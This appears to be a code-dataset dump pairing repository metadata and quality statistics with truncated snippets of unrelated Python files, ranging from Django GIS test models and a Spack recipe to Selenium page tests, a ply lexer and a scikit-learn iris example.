0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
6aa0b1f00e67fd46f210daf354dfd9f16d22ac38
699
py
Python
tests/gis_tests/geogapp/models.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
61,676
2015-01-01T00:05:13.000Z
2022-03-31T20:37:54.000Z
tests/gis_tests/geogapp/models.py
ni-ning/django
2e7ba6057cfc82a15a22b6021cd60cf307152e2d
[ "CNRI-Python-GPL-Compatible", "BSD-3-Clause" ]
8,884
2015-01-01T00:12:05.000Z
2022-03-31T19:53:11.000Z
tests/gis_tests/geogapp/models.py
mustafa0x/django
d7394cfa13a4d1a02356e3a83e10ec100fbb9948
[ "BSD-3-Clause", "0BSD" ]
33,143
2015-01-01T02:04:52.000Z
2022-03-31T19:42:46.000Z
from django.contrib.gis.db import models class NamedModel(models.Model): name = models.CharField(max_length=30) class Meta: abstract = True def __str__(self): return self.name class City(NamedModel): point = models.PointField(geography=True) class Meta: app_label = 'ge...
19.971429
56
0.67525
83
699
5.53012
0.481928
0.098039
0.117647
0.156863
0.16122
0.16122
0.16122
0
0
0
0
0.010989
0.218884
699
34
57
20.558824
0.82967
0
0
0.333333
0
0
0.032904
0
0
0
0
0
0
1
0.095238
false
0
0.047619
0.095238
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6aa285ba6337131f353e66caf588565e6f3ccbb4
7,013
py
Python
Competitive Programming/System Design/Design a File Sharing System.py
shreejitverma/GeeksforGeeks
d7bcb166369fffa9a031a258e925b6aff8d44e6c
[ "MIT" ]
2
2022-02-18T05:14:28.000Z
2022-03-08T07:00:08.000Z
Competitive Programming/System Design/Design a File Sharing System.py
shivaniverma1/Competitive-Programming-1
d7bcb166369fffa9a031a258e925b6aff8d44e6c
[ "MIT" ]
6
2022-01-13T04:31:04.000Z
2022-03-12T01:06:16.000Z
Competitive Programming/System Design/Design a File Sharing System.py
shivaniverma1/Competitive-Programming-1
d7bcb166369fffa9a031a258e925b6aff8d44e6c
[ "MIT" ]
2
2022-02-14T19:53:53.000Z
2022-02-18T05:14:30.000Z
'''https://leetcode.com/problems/design-a-file-sharing-system/ 1500. Design a File Sharing System Medium 32 77 Add to List Share We will use a file-sharing system to share a very large file which consists of m small chunks with IDs from 1 to m. When users join the system, the system should assign a unique ID to t...
35.241206
224
0.633538
1,063
7,013
4.098777
0.196613
0.045444
0.020197
0.025706
0.395685
0.356208
0.341519
0.313978
0.313978
0.313978
0
0.019638
0.266648
7,013
198
225
35.419192
0.827533
0.646086
0
0.75
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0.03125
0
0.3125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6aa6d61b20d9aac56cc27d2d88ba694578fc5d5b
413
py
Python
one_crm/leads/migrations/0003_auto_20200712_1254.py
lianzhanshu/one_crm
7320c38416dd05fa95400ef4f5d50b0a35125c33
[ "MIT" ]
4
2020-08-09T08:47:35.000Z
2021-12-16T01:27:56.000Z
one_crm/leads/migrations/0003_auto_20200712_1254.py
flingjie/one_crm
7320c38416dd05fa95400ef4f5d50b0a35125c33
[ "MIT" ]
null
null
null
one_crm/leads/migrations/0003_auto_20200712_1254.py
flingjie/one_crm
7320c38416dd05fa95400ef4f5d50b0a35125c33
[ "MIT" ]
4
2020-08-09T08:43:01.000Z
2021-09-29T11:45:33.000Z
# Generated by Django 3.0.8 on 2020-07-12 12:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('leads', '0002_auto_20200711_1333'), ] operations = [ migrations.AlterField( model_name='lead', name='title', ...
21.736842
82
0.605327
47
413
5.191489
0.829787
0
0
0
0
0
0
0
0
0
0
0.113333
0.273608
413
18
83
22.944444
0.7
0.108959
0
0
1
0
0.106557
0.062842
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6aad25b31a634714c5da9a7545d1468f6aba216d
666
py
Python
var/spack/repos/builtin/packages/nacos/package.py
robertodr/spack
9b809e01b47d48f01b3d257912fe1b752943cd3d
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
9
2018-04-18T07:51:40.000Z
2021-09-10T03:56:57.000Z
var/spack/repos/builtin/packages/nacos/package.py
robertodr/spack
9b809e01b47d48f01b3d257912fe1b752943cd3d
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
907
2018-04-18T11:17:57.000Z
2022-03-31T13:20:25.000Z
var/spack/repos/builtin/packages/nacos/package.py
robertodr/spack
9b809e01b47d48f01b3d257912fe1b752943cd3d
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
29
2018-11-05T16:14:23.000Z
2022-02-03T16:07:09.000Z
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Nacos(MavenPackage): """Nacos is an easy-to-use platform designed for dynamic service ...
37
95
0.752252
86
666
5.825581
0.802326
0.007984
0.011976
0
0
0
0
0
0
0
0
0.106383
0.153153
666
17
96
39.176471
0.781915
0.57958
0
0
0
0.2
0.528517
0.243346
0
0
0
0
0
1
0
false
0
0.2
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6ab24f73504141e0a410503919563de96af6cbbf
2,141
py
Python
server/functions/CalcAndSend.py
klecko/Anime-Battle-Online
a2790e28331b7aac441a917f85aafc91fa39f89b
[ "MIT" ]
null
null
null
server/functions/CalcAndSend.py
klecko/Anime-Battle-Online
a2790e28331b7aac441a917f85aafc91fa39f89b
[ "MIT" ]
null
null
null
server/functions/CalcAndSend.py
klecko/Anime-Battle-Online
a2790e28331b7aac441a917f85aafc91fa39f89b
[ "MIT" ]
null
null
null
import sys sys.path.append("C:/Users/David/Desktop/programacion/python/Anime Battle Online/server") import pygame.time import settings import Globals from functions.ShortFunctions import * def tCalcAndSend(PowerUps, MurosRects, Ranking): reloj = pygame.time.Clock() while True: calcPosOfEverything(Power...
36.913793
153
0.741242
238
2,141
6.668067
0.298319
0.221802
0.100819
0.068053
0.345936
0.296786
0.231884
0.231884
0.197858
0.197858
0
0.005991
0.142457
2,141
57
154
37.561404
0.858388
0.090145
0
0.190476
0
0
0.045069
0.025451
0
0
0
0
0
1
0.095238
false
0
0.119048
0
0.214286
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6ab773a6e04141ea650aec5496252813c0384a59
33,616
py
Python
telemetry/telemetry/internal/results/page_test_results_unittest.py
tobeqj/catapult
4d850033271b29cd51e6343747c75631d335f14c
[ "BSD-3-Clause" ]
1
2019-05-18T02:43:02.000Z
2019-05-18T02:43:02.000Z
telemetry/telemetry/internal/results/page_test_results_unittest.py
tobeqj/catapult
4d850033271b29cd51e6343747c75631d335f14c
[ "BSD-3-Clause" ]
null
null
null
telemetry/telemetry/internal/results/page_test_results_unittest.py
tobeqj/catapult
4d850033271b29cd51e6343747c75631d335f14c
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import StringIO import os import unittest from py_utils import tempfile_ext import mock from telemetry import benchmark from telemetry import story from te...
38.374429
79
0.707104
3,809
33,616
6.066422
0.093463
0.058034
0.041979
0.057255
0.779591
0.735318
0.679837
0.643874
0.610421
0.568875
0
0.013866
0.176166
33,616
875
80
38.418286
0.820503
0.019604
0
0.655267
0
0
0.051277
0.005647
0
0
0
0
0.153215
1
0.072503
false
0.00684
0.046512
0.010944
0.136799
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6ab7ef6b364ff3ab8541f78266330db8a15acaa4
2,295
py
Python
machine_learning/sample.py
hirotoyoshidome/python_utils
1c59aa8b8a3de6c350abddf2be29484a427e45ef
[ "MIT" ]
null
null
null
machine_learning/sample.py
hirotoyoshidome/python_utils
1c59aa8b8a3de6c350abddf2be29484a427e45ef
[ "MIT" ]
null
null
null
machine_learning/sample.py
hirotoyoshidome/python_utils
1c59aa8b8a3de6c350abddf2be29484a427e45ef
[ "MIT" ]
null
null
null
#!/bin/usr python3 # クラス分類(classifcation) # 有名なアイリスの花の分類問題 # データセットはscikit-learnのライブラリの中に含まれている from sklearn.datasets import load_iris from sklearn.model_selection import train_test_split import numpy as np import matplotlib.pyplot as plt import pandas as pd import mglearn from IPython.display import display from sk...
29.050633
147
0.798693
268
2,295
6.671642
0.570896
0.055369
0.041946
0.061521
0.064318
0.036913
0
0
0
0
0
0.020312
0.07756
2,295
78
148
29.423077
0.82428
0.460131
0
0
0
0
0.064838
0
0
0
0
0
0
1
0
false
0
0.32
0
0.32
0.28
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
6ab958b1cf4b98cdeb790b2821879ec3c912e9e7
1,430
py
Python
travis/submit_issue.py
chrisma/rails-intro-16-mirror
b706e905234c70ffe0d50ec95f71ca5f85f4b8c8
[ "MIT" ]
null
null
null
travis/submit_issue.py
chrisma/rails-intro-16-mirror
b706e905234c70ffe0d50ec95f71ca5f85f4b8c8
[ "MIT" ]
null
null
null
travis/submit_issue.py
chrisma/rails-intro-16-mirror
b706e905234c70ffe0d50ec95f71ca5f85f4b8c8
[ "MIT" ]
null
null
null
#!/usr/bin/env python2.7 import logging, sys, json from github3 import GitHub logging.basicConfig(level=logging.DEBUG) logging.getLogger('github3').setLevel(logging.WARNING) log = logging.getLogger(__name__) # Load json from Rspec run from stdin test_runs = json.loads(sys.stdin.read()) # As Rspec should be run in --...
34.047619
93
0.748951
209
1,430
5
0.430622
0.057416
0.026794
0
0
0
0
0
0
0
0
0.006971
0.097203
1,430
42
94
34.047619
0.802479
0.251049
0
0
0
0
0.246241
0
0
0
0
0
0
1
0
false
0.08
0.08
0
0.08
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6abc653768ef57917ecfaddea7bcda274154dd5c
25,674
py
Python
HQSmokeTests/Pages/exportDataPage.py
dimagi/dimagi-qa
60d1dc1192b070f4d47d13ec5d1adb0ce07e1373
[ "BSD-3-Clause" ]
null
null
null
HQSmokeTests/Pages/exportDataPage.py
dimagi/dimagi-qa
60d1dc1192b070f4d47d13ec5d1adb0ce07e1373
[ "BSD-3-Clause" ]
4
2021-03-16T12:23:29.000Z
2022-01-13T07:17:46.000Z
HQSmokeTests/Pages/exportDataPage.py
dimagi/dimagi-qa
60d1dc1192b070f4d47d13ec5d1adb0ce07e1373
[ "BSD-3-Clause" ]
2
2022-01-11T07:44:04.000Z
2022-02-11T07:20:42.000Z
import os from selenium.common.exceptions import StaleElementReferenceException, TimeoutException import datetime import time from selenium.webdriver.common.by import By from selenium.webdriver.support.wait import WebDriverWait from selenium.webdriver.support import expected_conditions as ec from HQSmokeTests.UserInput...
51.348
119
0.68065
3,489
25,674
4.726569
0.095729
0.052635
0.082712
0.101874
0.732278
0.689891
0.644655
0.635074
0.618883
0.609666
0
0.005976
0.204838
25,674
499
120
51.450902
0.801812
0.072174
0
0.613054
0
0.006993
0.145208
0.057241
0
0
0
0
0.025641
1
0.055944
false
0.009324
0.02331
0
0.083916
0.104895
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6abc7d87ad6a4024e5515dc6e60f748f350c6943
20,912
py
Python
components/google-cloud/google_cloud_components/aiplatform/utils.py
SebBlin/pipelines
075b83af9ca9e37f45907ed3514e2ce8dd637321
[ "Apache-2.0" ]
null
null
null
components/google-cloud/google_cloud_components/aiplatform/utils.py
SebBlin/pipelines
075b83af9ca9e37f45907ed3514e2ce8dd637321
[ "Apache-2.0" ]
null
null
null
components/google-cloud/google_cloud_components/aiplatform/utils.py
SebBlin/pipelines
075b83af9ca9e37f45907ed3514e2ce8dd637321
[ "Apache-2.0" ]
1
2022-01-11T17:02:22.000Z
2022-01-11T17:02:22.000Z
# Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
34.622517
115
0.641737
2,407
20,912
5.33361
0.158288
0.023835
0.010516
0.010905
0.29623
0.237186
0.195903
0.179156
0.147764
0.131329
0
0.001992
0.279887
20,912
603
116
34.679934
0.850521
0.335214
0
0.20712
0
0
0.085497
0.042409
0
0
0
0.011609
0
1
0.058252
false
0.003236
0.032362
0
0.190939
0.003236
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
6ac0bd4686c1003f246e28e79b2a7cf578578e89
2,104
py
Python
irunaround/ctokens.py
bplusv/irunaround
3b4a1e632f8d8142aa1ef40878000e5ff1fbaa72
[ "MIT" ]
1
2016-01-22T20:04:18.000Z
2016-01-22T20:04:18.000Z
irunaround/ctokens.py
bplusv/irunaround
3b4a1e632f8d8142aa1ef40878000e5ff1fbaa72
[ "MIT" ]
null
null
null
irunaround/ctokens.py
bplusv/irunaround
3b4a1e632f8d8142aa1ef40878000e5ff1fbaa72
[ "MIT" ]
null
null
null
import ply.lex as lex tokens = ( 'AND', 'ANDAND', 'COMMA', 'DIVIDE', 'ELSE', 'EQUAL', 'EQUALEQUAL', 'FALSE', 'GE', 'GT', 'IDENTIFIER', 'IF', 'LBRACE', 'LE', 'LPAREN', 'LT', 'MINUS', ...
18.954955
95
0.377852
237
2,104
3.202532
0.312236
0.063241
0.043478
0.044796
0.055336
0
0
0
0
0
0
0.008244
0.423479
2,104
110
96
19.127273
0.617477
0
0
0.074468
0
0
0.188868
0.019981
0
0
0
0
0
0
null
null
0.021277
0.010638
null
null
0.010638
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6ac11a7dd541f2b9d0d2c8de717bc5b736edbf86
1,108
py
Python
pyelixys/hal/tests/teststatusfmt.py
henryeherman/pyelixys
71dd57e9613a472a3175c5fe8d4c78deeb9ecee0
[ "BSD-3-Clause" ]
null
null
null
pyelixys/hal/tests/teststatusfmt.py
henryeherman/pyelixys
71dd57e9613a472a3175c5fe8d4c78deeb9ecee0
[ "BSD-3-Clause" ]
1
2021-02-08T20:19:42.000Z
2021-02-08T20:19:42.000Z
pyelixys/hal/tests/teststatusfmt.py
henryeherman/pyelixys
71dd57e9613a472a3175c5fe8d4c78deeb9ecee0
[ "BSD-3-Clause" ]
1
2019-06-17T12:56:55.000Z
2019-06-17T12:56:55.000Z
import sys sys.path.append("./") sys.path.append("../") import unittest from statusfmt import StatusMessageFormatFactory class StatusMessageFormatFactoryTest(unittest.TestCase): """ Tests for parsing packets from the elixys system """ def setUp(self): """ Create some test data """ statmsgfmt ...
28.410256
64
0.65704
121
1,108
5.85124
0.404959
0.067797
0.050847
0.045198
0
0
0
0
0
0
0
0
0.233755
1,108
38
65
29.157895
0.833922
0
0
0
0
0
0.056696
0
0
0
0
0
0.076923
0
null
null
0
0.153846
null
null
0.115385
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6ac284b7f6695153824cd5897e0d25c65aa89e96
7,298
py
Python
archive/2017/src/CasFlowPreP_2017September.py
klfrick2/HYBRID
d8a82bcdb9d0516a22205eed0de75f63764fa004
[ "ECL-2.0", "Apache-2.0" ]
16
2021-02-10T21:37:01.000Z
2022-02-20T13:25:11.000Z
archive/2017/src/CasFlowPreP_2017September.py
klfrick2/HYBRID
d8a82bcdb9d0516a22205eed0de75f63764fa004
[ "ECL-2.0", "Apache-2.0" ]
11
2021-03-16T14:33:34.000Z
2022-02-15T19:05:55.000Z
archive/2017/src/CasFlowPreP_2017September.py
klfrick2/HYBRID
d8a82bcdb9d0516a22205eed0de75f63764fa004
[ "ECL-2.0", "Apache-2.0" ]
8
2021-06-03T00:22:26.000Z
2022-03-14T21:47:39.000Z
#Licensed under Apache 2.0 License. #© 2020 Battelle Energy Alliance, LLC #ALL RIGHTS RESERVED #. #Prepared by Battelle Energy Alliance, LLC #Under Contract No. DE-AC07-05ID14517 #With the U. S. Department of Energy #. #NOTICE: This computer software was prepared by Battelle Energy #Alliance, LLC, hereinafter the Cont...
45.049383
140
0.701699
1,027
7,298
4.851022
0.268744
0.077077
0.026094
0.028101
0.354476
0.322762
0.272581
0.272581
0.212766
0.156965
0
0.02822
0.16484
7,298
161
141
45.329193
0.789007
0.441217
0
0.135135
0
0
0.078402
0.005817
0
0
0
0
0
0
null
null
0.013514
0.040541
null
null
0.243243
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6ace7167682ee74ed46ac350d2b51a528aa6b811
460
py
Python
goss/argument/default.py
wxnacy/gos
49e0e8f604a57209c132b27e850f40f7561a343e
[ "MIT" ]
null
null
null
goss/argument/default.py
wxnacy/gos
49e0e8f604a57209c132b27e850f40f7561a343e
[ "MIT" ]
null
null
null
goss/argument/default.py
wxnacy/gos
49e0e8f604a57209c132b27e850f40f7561a343e
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: wxnacy@gmail.com """ run 命令的参数解析 """ from csarg import ArgumentParser class DefaultArgumentParser(ArgumentParser): cmd = 'default' @classmethod def default(cls): """ 初始化一个实例 """ item = cls() item.add_argument('...
18.4
44
0.578261
47
460
5.574468
0.680851
0.10687
0.229008
0
0
0
0
0
0
0
0
0.002985
0.271739
460
24
45
19.166667
0.779104
0.186957
0
0
0
0
0.097059
0
0
0
0
0
0
1
0.090909
false
0
0.090909
0
0.454545
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1